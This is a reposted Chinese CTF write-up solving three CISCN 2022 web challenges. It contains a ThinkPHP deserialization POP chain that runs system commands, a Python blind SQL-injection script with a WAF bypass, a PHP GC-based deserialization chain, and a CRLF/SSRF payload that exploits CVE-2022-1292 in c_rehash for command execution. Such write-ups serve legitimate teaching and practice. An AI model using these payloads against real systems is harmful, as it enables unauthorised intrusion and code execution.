返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CISCN 2022 初赛 web 复现
  • 261
分享到

CISCN 2022 初赛 web 复现

比赛复现 2023-09-15 11:09:21 261人浏览 泡泡鱼
摘要

[CISCN 2022 初赛]ezpop 可以看到版本,那么直接上网找链子打 www.zip 查看路由,是 Index/test,然后 post 传参 a

[CISCN 2022 初赛]ezpop

可以看到版本,那么直接上网找链子打
在这里插入图片描述
www.zip 查看路由,是 Index/test,然后 post 传参 a
在这里插入图片描述

PHP// 保证命名空间的一致namespace think {    // Model需要是抽象类    abstract class Model {        // 需要用到的关键字        private $lazySave = false;        private $data = [];        private $exists = false;        protected $table;        private $withAttr = [];        protected $JSON = [];        protected $jsonAssoc = false;        // 初始化        public function __construct($obj='') {            $this->lazySave = true;            $this->data = ['whoami'=>['whoami']];            $this->exists = true;            $this->table = $obj;    // 触发__toString            $this->withAttr = ['whoami'=>['system']];            $this->json = ['whoami'];            $this->jsonAssoc = true;        }    }}namespace think\model {    use think\Model;    class Pivot extends Model {            }        // 实例化    $p = new Pivot(new Pivot());    echo urlencode(serialize($p));}

在这里插入图片描述

ezpentest

知识点:Mysql8的utf8mb4_bin应用,根据溢出报错盲注,phpGC回收机制

题目给了 waf

function safe($a) {    $r = preg_replace('/[\s,()#;*~\-]/','',$a);    $r = preg_replace('/^.*(?=uNIOn|binary|regexp|rlike).*$/i','',$r);    return (string)$r;  }?>

利用 case when... 代替 if(...) ,利用 like 匹配 usernamepassWord,如果匹配到则 9223372036854775807+1 造成溢出,然后就会报错,浏览器会返回500,根据这个就可以进行盲注,最后利用 collate'utf8mb4_bin'判断大小写。
在这里插入图片描述

import requestsimport stringurl = "Http://1.14.71.254:28126/login.php"list = string.ascii_letters + string.digits + '^$!_%@&'flag = ''for i in range(1,50):    for j in list:        if (j in '%_'):#为防止 like 把这里的 % 当做正则,所以要转义一下            j = "\\" + j        payload = f"0'||case'1'when`password`collate'utf8mb4_bin'like'{flag+j}%'then+9223372036854775807+1+''else'0'end||'"        data = {            'username':payload,            'password':123        }        r = requests.post(url,data=data)        if r.status_code == 500:            flag += j            print(flag)            break #nssctfwabbybaboo!@$%!! #PAssw40d_Y0u3_Never_Konwn!@!!

登录后看到一大串乱码,查看源码可以看到它所用的加密。
在这里插入图片描述
保存网页源码后,利用工具解密

curl http://1.14.71.254:28943/login.php --cookie "PHPSESSID=c49750cf8b201ad00e8156ed3bb3aacf" -o ./example.php

1Nd3x_Y0u_N3v3R_Kn0W.php

session_start();if(!isset($_SESSION['login'])){    die();}function Al($classname){    include $classname.".php";}if(isset($_REQUEST['a'])){    $c = $_REQUEST['a'];    $o = unserialize($c);    if($o === false) {        die("Error FORMat");    }else{        spl_autoload_reGISter('Al');        $o = unserialize($c);        $raw = serialize($o);        if(preg_match("/Some/i",$raw)){            throw new Error("Error");        }        $o = unserialize($raw);        var_dump($o);    }}else {    echo file_get_contents("SomeClass.php");}

SomeClass.php 源码

class A{    public $a;    public $b;    public function see()    {        $b = $this->b;        $checker = new ReflectionClass(get_class($b));        if(basename($checker->getFileName()) != 'SomeClass.php'){        //获取类所在文件名字            if(isset($b->a)&&isset($b->b)){                ($b->a)($b->b."");            }        }    }}class B{    public $a;    public $b;    public function __toString()    {        $this->a->see();        return "1";    }}class C{    public $a;    public $b;    public function __toString()    {        $this->a->read();        return "lock lock read!";    }}class D{    public $a;    public $b;    public function read()    {        $this->b->learn();    }}class E{    public $a;    public $b;    public function __invoke()    {        $this->a = $this->b." Powered by PHP";    }    public function __destruct(){        //eval($this->a); ??? 吓得我赶紧把后门注释了        //echo "???";        die($this->a);    }}class F{    public $a;    public $b;    public function __call($t1,$t2)    {        $s1 = $this->b;        $s1();    }}?>

链子很好构造

E::__destruct => B::__toString => A::see

但是直接序列化打,是肯定打不通的,为啥呢?

首先在 1Nd3x_Y0u_N3v3R_Kn0W.php 中,是不包含 SomeClass.php 里面的类的,怎么包含呢?

可以利用 spl_autoload_register('Al'); 自动加载类,但是在后面有过滤,字符串中补不能有 Some,也就是说我们要在 if 判断前销毁我们的反序列化对象以此提前调用 __destruct,也就是常说的 phpGC 回收机制。

这边就不详细讲了,想详细了解的移步:https://www.jb51.net/article/242682.htm

简单解释就是,用一个指针指向这个对象,之后在把这个指针指向其他地方,这样这个对象,就没有任何引用和指向,就会销毁,从而调用 __destruct

$o = unserialize($c);$raw = serialize($o);if(preg_match("/Some/i",$raw)){            throw new Error("Error");        }

payload:

class A{    public $a;    public $b;}class B{    public $a;    public $b;}class E{    public $a;    public $b;}class SomeClass{    public $a;}$e = new E();$b = new B();$a = new A();$flag = new error();$flag->a = "system";$flag->b = "cat /nssctfflag";$a->b = $flag;$b->a = $a;$e->a = $b;$c = new SomeClass();$c->a = $e;echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

online_crt

知识点:CVE-2022-1292,代码审计

分析

/getcrt 路由,生成 crt 证书

@app.route('/getcrt', methods=['GET', 'POST'])def upload():    Country = request.form.get("Country", "CN")    Province = request.form.get("Province", "a")    City = request.form.get("City", "a")    OrganizationalName = request.form.get("OrganizationalName", "a")    CommonName = request.form.get("CommonName", "a")    EmailAddress = request.form.get("EmailAddress", "a")    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)

/proxy 路由,请求头是可以控制的,也就是 CRLF,可以看到利用这个路由可以访问到内网 8887 端口,

@app.route('/proxy', methods=['GET'])def proxy():    uri = request.form.get("uri", "/")    client = Socket.socket()    client.connect(('localhost', 8887))    msg = f'''GET {uri} HTTP/1.1Host: test_api_hostUser-Agent: GuestAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close'''    client.send(msg.encode())    data = client.recv(2048)    client.close()    return data.decode()    

然后我们再看 Go 服务,可以看到 go 跑在 8887 端口上,且在 admin 函数中可以改名字,那么我们是不是可以访问 8887 端口的 /admin/rename 路由,以此调用 admin 函数来改我们的证书的名字。但是在这里面还有几个条件:

  1. Request.Host == “admin”,host 要为 admin
  2. Request.URL.RawPath !=“”,也就是路径有编码,可以把 /改为 %2f
func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")}......func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}}

那么能改证书的名字有什么用呢?这时候就是 /createlink 路由下的 info 函数,调用 c_rehash 获取证书的名字来 RCE

@app.route('/createlink', methods=['GET'])def info():    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}    # c_rehash 作用是让openssl在证书目录中能够找到证书。    return json.dumps(json_data)

步骤

首先:在 /proxy 路由中以 post 传 CRLF 的值。(注意 go 服务中的条件)
因为要post 传参,所以要加一个 Content-Type: application/x-www-form-urlencoded
在这里插入图片描述

payload:

/admin%252frename%3Foldname%3Dfd3d9ea7-7dd2-43e3-b6b3-f1fdd39c72ef.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A

然后访问 /createlink 执行命令
最后访问 /static/crt/flag.txt,获取 flag
在这里插入图片描述
在这里插入图片描述

reference

https://haoami.GitHub.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/https://blog.csdn.net/qq_62078839/article/details/125144431

来源地址:https://blog.csdn.net/shinygod/article/details/127866492

--结束END--

本文标题: CISCN 2022 初赛 web 复现

本文链接: https://lsjlt.com/news/408570.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作